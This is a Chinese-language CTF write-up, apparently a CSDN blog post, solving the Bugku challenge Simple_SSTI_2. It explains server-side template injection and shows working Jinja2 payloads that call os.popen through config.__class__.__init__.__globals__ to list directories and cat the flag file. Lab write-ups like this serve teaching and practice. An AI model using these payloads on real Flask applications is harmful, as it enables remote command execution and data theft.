首页 > 其他分享 >Bugku:Simple_SSTI_2

Bugku:Simple_SSTI_2

时间:2024-07-30 22:29:04浏览次数:8  
标签:__ 引擎 Bugku Simple __.__ flag SSTI 模板

目录

1.进入网站查看题目

2.开始尝试

3.判断引擎模板类型

4.构造语句,开始注入

5.得到flag

1.进入网站查看题目

再查看源代码,发现没有什么有用的。

根据题目提示SSTI,搜索一下SSTI,了解一下。

   SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术,这种模板请不要认为只存在于 Python 中,感觉网上讲述的都是Python 的 SSTI ,在这之前也给了我非常大的误导(只能说自己没有好好研究,浅尝辄止),请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

2.开始尝试

先用get传入一个flag参数试试

3.判断引擎模板类型

显示为flag参数的值,可以知道页面会显示被传入flag参数的值,然后进行报错看一看网站使用的模板类型

4.构造语句,开始注入

可以看出是用的python的flask模板,开始构造语句进行注入

?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

发现目录,进入app目录,发现flag文件

?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}

5.得到flag

用cat命令查看flag,得到flag

?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}

标签:__,引擎,Bugku,Simple,__.__,flag,SSTI,模板
From: https://blog.csdn.net/2301_76631050/article/details/140807894

相关文章

  • Bugku CTF 合集
    1.Simple_SSTI_11.打开靶场,翻译得知需要输入一个flag作为参数,检查源代码,发现可以设置secretkey作为变量经了解,SSTL是一个模板注入,SECRETKEY:是flask一个重要得配置值需要用以下代码来加密/?flag={{config.SECRETKEY}}(注意大小写),或直接/?flag={{config}}......
  • 06_Calendar类_SimpleDateFormat类_System类
    一、Calendar类Calendar的构造方法是protectedCalendar(),由于修饰符是protected,所以无法直接创建该对象,需要使用Calendar.getInstance();创建。其他方法:代码示例:importjava.util.Calendar;publicclassdemo01{publicstaticvoidmain(String[]args){......
  • vue-simple-uploader 支持分片上传,多文件上传,断点续传等多种功能的文件上传组件
    vue-simple-uploader特性:1、支持文件、多文件、文件夹上传2、支持拖拽文件、文件夹上传3、统一对待文件和文件夹,方便操作管理4、可暂停、继续上传5、错误处理6、支持“快传”,通过文件判断服务端是否已存在从而实现“快传”7、上传队列管理,支持最大并发上传8、分块上传9、......
  • 自制基于simplefoc大功率驱动板想法的由来,同时欢迎有相同兴趣的F友一起来玩。。。
      前一阵子,偶然在B站上看了一个simplefoc的介绍视频,代码简洁、算法精妙让人佩服,更让人佩服的是:开源!遂!搜索之!不搜不知道一搜吓一跳,发现太OUT了,原来玩这个算法的人这么多,让我这个整天沉浸在帕克、反帕克、Ualpha、Ubeta...的开发攻城狮汗颜。  出于好奇和对知识的无限渴求(冒......
  • 我无法使用 PySimpleGUI 打开第三个窗口
    我无法创建第三个窗口。代码工作没有错误,但它不显示代码结束的窗口当前我正在尝试使其显示一个复选框表,供人们选择座位。我测试过它是否根本没有运行。把print放在它后面,它就会打印出来。我也尝试让它显示简单的文本,但这也不起作用。下面是代码:layout3=[[sg.Text('Tes......
  • 实验说明 - ssti
    实验名称简单的ssti实验简介是一种针对服务器端模板的注入漏洞。实验说明攻击者将恶意代码输入到模板服务器在执行时未对恶意代码进行处理就输出执行将字符串当作模板执行ssti注入就是使其渲染我们想要执行的的字符串实验步骤步骤一:输入{{7*7}}判断类型步骤二:{{......
  • 实验说明 - ssti
    实验名称简单的ssti实验简介是一种针对服务器端模板的注入漏洞。实验说明攻击者将恶意代码输入到模板服务器在执行时未对恶意代码进行处理就输出执行将字符串当作模板执行ssti注入就是使其渲染我们想要执行的的字符串实验步骤步骤一:输入{{7*7}}判断类型步骤二:{{......
  • PySimpleGUI总结
    这篇文章主要是对GUI整体来说的,以下将讲述GUI的下载,内容与具体流程。其他详细内容和使用下次具体讲述。下载首先,打开你的pycharm,找到你的终端长这样然后在命令行输入pipinstallPySimpleGUI但是!!!pysimplegui这个东西5.0版本之后不是免费的,只有免费试用30天。因此如果......
  • CTF-SSTI模板注入
    SSTI就是服务器端模板注入(Server-SideTemplateInjection)当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结......
  • C# 开源类库SimpleTCP
     目录简介使用方法实现客户端实现服务端总结 简介#工作中经常遇到需要实现TCP客户端或服务端的时候,如果每次都自己写会很麻烦且无聊,使用SuperSocket库又太大了。这时候就可以使用SimpleTCP了,当然仅限于C#语言。SimpleTCP是一个简单且非常有用的.NET库,用于处......